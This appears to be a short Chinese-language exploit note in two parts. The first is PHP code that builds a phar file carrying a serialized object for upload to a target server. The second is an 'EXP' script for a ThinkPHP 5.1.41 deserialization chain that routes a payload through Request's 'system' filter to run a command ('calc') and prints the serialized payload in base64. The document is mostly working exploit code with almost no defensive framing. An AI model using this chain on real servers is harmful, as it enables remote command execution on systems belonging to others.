phar文件生成
在php中phar文件生成有一窜常用的代码,记住即可,唯一要注意的是,要反序列化的对象,在本文就是反序列化利用链
配置
在此之前,需要在本机开启,注意这只是在生成的时候开启,及在本地生成然后上传到目标服务器(目标服务器不需要开启配置)
源码
//这里就需要反序列化的对象
class Demo{
}
$phar=new\Phar("phar.phar");//
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//
$phar->setMetadata(new Demo());//
$phar->addFromString("test.txt","test");//
//
$phar->stopBuffering();
生成文件内容如下:
Thinkphp 5.1.41反序列化
利用链
EXP
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));